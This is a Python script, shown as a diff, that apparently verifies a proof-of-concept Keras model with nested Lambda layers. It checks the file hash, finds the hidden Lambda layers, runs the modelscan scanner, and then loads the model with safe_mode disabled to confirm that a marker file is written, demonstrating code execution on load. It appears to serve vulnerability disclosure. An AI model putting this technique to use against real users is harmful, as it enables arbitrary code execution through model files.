|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import hashlib
|
| 2 |
+
import json
|
| 3 |
+
import os
|
| 4 |
+
import shutil
|
| 5 |
+
import subprocess
|
| 6 |
+
import sys
|
| 7 |
+
import zipfile
|
| 8 |
+
from pathlib import Path
|
| 9 |
+
|
| 10 |
+
|
| 11 |
+
ROOT = Path(__file__).resolve().parent
|
| 12 |
+
MODEL = ROOT / "nested_lambda_native.keras"
|
| 13 |
+
MARKER = ROOT / "keras_native_marker.txt"
|
| 14 |
+
EXPECTED_SHA256 = "066bd70a8946b41400372d8312704b939c8d233b9e61e895527ade3d1fe3783e"
|
| 15 |
+
|
| 16 |
+
|
| 17 |
+
def sha256(path):
|
| 18 |
+
h = hashlib.sha256()
|
| 19 |
+
with open(path, "rb") as f:
|
| 20 |
+
for chunk in iter(lambda: f.read(1024 * 1024), b""):
|
| 21 |
+
h.update(chunk)
|
| 22 |
+
return h.hexdigest()
|
| 23 |
+
|
| 24 |
+
|
| 25 |
+
def find_lambdas():
|
| 26 |
+
with zipfile.ZipFile(MODEL, "r") as zf:
|
| 27 |
+
config = json.loads(zf.read("config.json"))
|
| 28 |
+
top_layers = [
|
| 29 |
+
layer.get("class_name")
|
| 30 |
+
for layer in config.get("config", {}).get("layers", [])
|
| 31 |
+
]
|
| 32 |
+
locations = []
|
| 33 |
+
|
| 34 |
+
def walk(obj, trail="root"):
|
| 35 |
+
if isinstance(obj, dict):
|
| 36 |
+
if obj.get("class_name") == "Lambda":
|
| 37 |
+
locations.append(trail)
|
| 38 |
+
for key, value in obj.items():
|
| 39 |
+
walk(value, f"{trail}.{key}")
|
| 40 |
+
elif isinstance(obj, list):
|
| 41 |
+
for index, value in enumerate(obj):
|
| 42 |
+
walk(value, f"{trail}[{index}]")
|
| 43 |
+
|
| 44 |
+
walk(config)
|
| 45 |
+
return top_layers, locations
|
| 46 |
+
|
| 47 |
+
|
| 48 |
+
def run_modelscan():
|
| 49 |
+
modelscan = shutil.which("modelscan")
|
| 50 |
+
if not modelscan:
|
| 51 |
+
candidate = Path(sys.executable).resolve().parent / "modelscan.exe"
|
| 52 |
+
if candidate.exists():
|
| 53 |
+
modelscan = str(candidate)
|
| 54 |
+
if not modelscan:
|
| 55 |
+
return {
|
| 56 |
+
"available": False,
|
| 57 |
+
"message": "modelscan executable was not found on PATH",
|
| 58 |
+
}
|
| 59 |
+
output = ROOT / "verify_modelscan.json"
|
| 60 |
+
proc = subprocess.run(
|
| 61 |
+
[
|
| 62 |
+
modelscan,
|
| 63 |
+
"scan",
|
| 64 |
+
"-p",
|
| 65 |
+
str(MODEL),
|
| 66 |
+
"-r",
|
| 67 |
+
"json",
|
| 68 |
+
"-o",
|
| 69 |
+
str(output),
|
| 70 |
+
"--show-skipped",
|
| 71 |
+
],
|
| 72 |
+
cwd=ROOT,
|
| 73 |
+
text=True,
|
| 74 |
+
stdout=subprocess.PIPE,
|
| 75 |
+
stderr=subprocess.PIPE,
|
| 76 |
+
)
|
| 77 |
+
data = json.loads(output.read_text()) if output.exists() else None
|
| 78 |
+
return {
|
| 79 |
+
"available": True,
|
| 80 |
+
"returncode": proc.returncode,
|
| 81 |
+
"stdout": proc.stdout,
|
| 82 |
+
"stderr": proc.stderr,
|
| 83 |
+
"json": data,
|
| 84 |
+
}
|
| 85 |
+
|
| 86 |
+
|
| 87 |
+
def run_runtime_checks():
|
| 88 |
+
import keras
|
| 89 |
+
|
| 90 |
+
MARKER.unlink(missing_ok=True)
|
| 91 |
+
safe_mode_error = None
|
| 92 |
+
try:
|
| 93 |
+
keras.saving.load_model(MODEL, safe_mode=True)
|
| 94 |
+
except Exception as exc:
|
| 95 |
+
safe_mode_error = type(exc).__name__ + ": " + str(exc).splitlines()[0]
|
| 96 |
+
|
| 97 |
+
os.environ["KERAS_NATIVE_MARKER"] = str(MARKER)
|
| 98 |
+
keras.saving.load_model(MODEL, safe_mode=False)
|
| 99 |
+
marker_text = MARKER.read_text() if MARKER.exists() else ""
|
| 100 |
+
return {
|
| 101 |
+
"safe_mode_true_blocked": safe_mode_error is not None,
|
| 102 |
+
"safe_mode_true_error": safe_mode_error,
|
| 103 |
+
"safe_mode_false_marker_created": MARKER.exists(),
|
| 104 |
+
"marker_text": marker_text,
|
| 105 |
+
}
|
| 106 |
+
|
| 107 |
+
|
| 108 |
+
def main():
|
| 109 |
+
digest = sha256(MODEL)
|
| 110 |
+
top_layers, lambda_locations = find_lambdas()
|
| 111 |
+
modelscan_result = run_modelscan()
|
| 112 |
+
runtime_result = run_runtime_checks()
|
| 113 |
+
result = {
|
| 114 |
+
"model": str(MODEL),
|
| 115 |
+
"sha256": digest,
|
| 116 |
+
"sha256_matches": digest == EXPECTED_SHA256,
|
| 117 |
+
"size_bytes": MODEL.stat().st_size,
|
| 118 |
+
"top_level_layers": top_layers,
|
| 119 |
+
"lambda_locations": lambda_locations,
|
| 120 |
+
"modelscan": modelscan_result,
|
| 121 |
+
"runtime": runtime_result,
|
| 122 |
+
}
|
| 123 |
+
print(json.dumps(result, indent=2))
|
| 124 |
+
if not result["sha256_matches"]:
|
| 125 |
+
raise SystemExit("unexpected model hash")
|
| 126 |
+
if not runtime_result["safe_mode_false_marker_created"]:
|
| 127 |
+
raise SystemExit("unsafe load did not create marker")
|
| 128 |
+
|
| 129 |
+
|
| 130 |
+
if __name__ == "__main__":
|
| 131 |
+
main()
|